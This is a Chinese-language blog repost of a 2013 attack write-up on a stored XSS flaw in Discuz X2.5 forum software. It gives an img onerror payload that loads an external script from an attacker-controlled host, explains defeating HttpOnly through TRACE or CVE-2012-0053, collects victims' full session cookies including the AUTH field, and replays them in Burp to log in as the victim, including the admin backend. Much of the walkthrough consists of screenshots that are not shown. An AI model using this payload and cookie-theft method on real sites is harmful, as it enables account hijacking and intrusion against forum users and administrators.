最新消息:

XSS利用:discuz X2.5跨站漏洞利用方法分析

安全知识 admin 4748浏览 0评论

##########################################
#  Title    : discuzX2.5跨站漏洞利用
#  Time   :2013年3月24日
#  Team  :c0deplay
#  Author : haxsscker
#  首发   : 法客论坛(请勿转载,谢谢)
#######################################   

0x01 无法用获取的COOKIE登录分析
都说DISCUZ X2.5(以下简称DZ25)的COOKIE拿到了也没有办法登录,但是为什么呢?
今天就来简单的看一下,我们登录一个DZ25的站,登陆之后看下COOKIE
1614397zsjq1g11sk4xo1s

在里面我们翻下,就会发现一个HTTPONLY的字段,还是AUTH,也就是登录用户,
所以当然无法直接搞到完整COOKIE,残缺的COOKIE自然无法登录
161440r0p7l9aear9bbe9p

0x02 获取完整COOKIE条件分析
大家知道,HTTPONLY是专门用来防止XSS的,但是不要直接放弃,我们知道低版本的AJAX利用TRACE方法和APACHE有一个CVE-2012-0053漏洞,均可以获取HTTPONLY的COOKIE
文章链接:adubeans.blog.163.com/blog/static/21745123320132251248646/
那么我们利用的条件就清晰了:
1.        低版本的AJAX
2.        “或者”APACHE服务器没有补CVE-2012-0053

0x03 DZ25跨站分析
我在DZ官网下载了最新的DZ25,发现唯一没有补的洞就比如你们点下面这张图:
当点击图片时候,就会触发XSS,如下
!!!!请点击!!!!
16190686bzuq77qqq3eebo

当然,只是ALERT是不够的,为了触发漏洞,我们必须引用外部的JS文件,因为无论哪个条件,都需要一段AJAX脚本
如果直接引用<script src=’http://www.xxx.com/1.js’></script>会发现无法加载
162001m4e34i4ei8yqhyga
(因为与本文关系不大,为什么不能加载这里我就不写分析了)
那怎么办呢?
不要忘了,我们还有IMG标签
我们可以使用:
<img src=x onerror=”var s=createElement(‘script’);document.body.appendChild(s);s.src=’http://localhost/1.js’;”>
这样的代码来创建一个body里面的script(为什么要这样写我就不说了,总之是这样的)
但是写进去后我们发现,太长了……是的被DZ25截断了
162002i1ygfiooubui5ewf

那我们来改一改,将不需要的去掉,地址换成短网址结果如下:
162002091l0appikq702z4
插入之后刚刚好
加载下试试
16200380y4c64oyrc1180f
16200455ebq94g5utg4e5e
至此,我们已经可以让dz加载外部的js了

0x04 JS编写
请大家看我之前写过的文章,里面的JS改下就可以实现此功能,
http://sb.f4ck.net/thread-8280-1-1.html
例如这个:
163308zluja55ugqq9gg9s
1633098fkngt8nx4noxxtn

0x04 COOKIE搜集
我们来看看得到的COOKIE
自己写的……界面比较丑……
163444gk501sspxp5mm00z

可以看到,AUTH字段很好的被包裹了进去
撸主用的JSON格式的,还要做点处理,大家也可以用encodeURIComponent,就省去了json的麻烦
1.将”全部去掉
2.将:换成=
3.将,换成;

最终得到如下:
163445qbzqt25cc3o5p7uq

0x05 登录
我们打开BURP,这个东西是个神器,不用我说大家都会用吧?
选上cookie然后点edit
然后UPDATE一下
163621yxcds4fnztccb1fb

之后设置代理为burp,burp就会自动替换头中的cookie字段
然后看下效果~~~
163622la97wnz2qc3ktc5t

到此,我们的分析就暂告一段落了

FAQ:朋友问我可以进后台么?
答:可以的,但是要管理员先登陆过后台才行,同样用BURP修改头即可

转载请注明:jinglingshu的博客 » XSS利用:discuz X2.5跨站漏洞利用方法分析

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址